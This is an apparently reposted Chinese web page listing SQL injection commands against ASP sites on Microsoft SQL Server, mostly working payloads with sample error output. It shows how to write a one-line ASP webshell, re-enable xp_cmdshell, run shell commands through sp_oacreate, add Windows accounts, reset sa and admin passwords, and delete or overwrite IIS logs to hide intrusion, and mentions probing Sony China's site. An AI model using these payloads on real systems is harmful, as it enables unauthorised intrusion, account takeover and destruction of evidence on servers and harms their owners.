ASP注入詳細(xì)命令40條
發(fā)表時間:2023-07-30 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]1、 用^轉(zhuǎn)義字符來寫ASP(一句話木馬)文件的方法:? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell ...
1、 用^轉(zhuǎn)義字符來寫ASP(一句話木馬)文件的方法:
? http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:mu.asp';-- ? echo ^<%execute^(request^("l"^)^)%^> >c:mu.asp 2、 顯示SQL系統(tǒng)版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)-- Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在檢測索尼中國的網(wǎng)站漏洞時,分明已經(jīng)確定了漏洞存在卻無法在這三種漏洞中找到對應(yīng)的類型。偶然間我想到了在SQL語言中可以使用"in"關(guān)鍵字進(jìn)行查 詢,例如"select * from mytable where id in(1)",括號中的值就是我們提交的數(shù)據(jù),它的結(jié)果與使用"select * from mytable where id=1"的查詢結(jié)果完全相同。所以訪問頁面的時候在URL后面加上") and 1=1 and 1 in(1"后原來的SQL語句就變成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",這樣就會出現(xiàn)期待已久的頁面了。暫且就叫這種類型的漏洞為"包含數(shù)字型"吧,聰明的你一定想到了還有"包含字符型"呢。對了,它就是由于類 似"select * from mytable where name in('firstsee')"的查詢語句造成的。 4、 判斷xp_cmdshell擴(kuò)展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢復(fù)xp_cmdshell擴(kuò)展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:.netputwebxplog70.dll';-- 5、 向啟動組中寫入命令行和執(zhí)行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsCurrentVersionRun','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
6、 查看當(dāng)前的數(shù)據(jù)庫名稱:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨庫了
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出當(dāng)前所有的數(shù)據(jù)庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄 8、 不需xp_cmdshell支持在有注入漏洞的SQL服務(wù)器上運(yùn)行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:>c: emp.txt','0','true'
--注意run的參數(shù)true指的是將等待程序運(yùn)行的結(jié)果,對于類似ping的長時間命令必需使用此參數(shù)。 EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌 WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END drop TABLE MYTMP ----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c: emp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END 以下是一行里面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c: emp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END 以下是一行中執(zhí)行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:jeea.net.cnscoreftsimagesiis.vbs lh1 c:>c: emp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END SQL下三種執(zhí)行CMD命令的方法: 先刪除7.18號日志:
(1)exec master.dbo.xp_cmdshell 'del C:winntsystem32logfilesW3SVC5ex050718.log >c: emp.txt' (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:winntsystem32logfilesW3SVC5ex050718.log >c: emp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END (3)首先開啟jet沙盤模式,通過擴(kuò)展存儲過程xp_regwrite修改注冊表實(shí)現(xiàn),管理員修改注冊表不能預(yù)防的原因。出于安全原因,默認(rèn)沙盤模式未 開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin 權(quán)限測試:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認(rèn))
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切 ? 這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:winntsystem32iasias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
? 建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:windowssystem32iasias.mdb' ? 如何使用鏈接數(shù)據(jù)庫: 使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的 實(shí)用性不強(qiáng),僅作為一個學(xué)習(xí)總結(jié)吧 大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以: ? 新建鏈接服務(wù)器"L0op8ack":EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:winntsystem32iasias.mdb';--
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
? exec sp_droplinkedsrvlogin 'L0op8ack','false';--
? exec sp_dropserver 'L0op8ack';-- 再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt' (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END (3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c: emp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c: emp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END 9、 用update來更新表中的數(shù)據(jù):
<a href='<a target='_blank'>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update'</a> target='_blank'><a target='_blank'>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</a></a> upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用戶密碼的16位MD5值為:a0b923820dcc509a,即把密碼改成1;
32位MD5值為: ,密碼為 10、 利用表內(nèi)容導(dǎo)成文件功能
SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:inetpubwwwroot
uncommand.asp –c –S localhost –U sa –P upload('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個runcommand.asp的木馬)。 11、創(chuàng)建表、播入數(shù)據(jù)和讀取數(shù)據(jù)的方法
? 創(chuàng)建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
? 往表里播入數(shù)據(jù):
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
? 從表里讀取數(shù)據(jù):
' and 1=(select count(*) from cyfd where gyfd >1)-- ? 刪除臨時表:
';drop table cyfd;-- 12、通過SQL語句直接更改sa的密碼:
? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成了111111拉。呵呵,解決的方法就是把sa給刪拉。,怎么刪可以參考我的《完全刪除sa這個后門》。 ? 查看本機(jī)所有的數(shù)據(jù)庫用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins ? 更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa' 13、查詢dvbbs庫中所有的表名和表結(jié)構(gòu):
? select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
? select * from dvbbs.dbo.syscolumns where id=1426104121
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習(xí)了安全知識,幾乎可以讓你免費(fèi)電腦中毒的煩擾。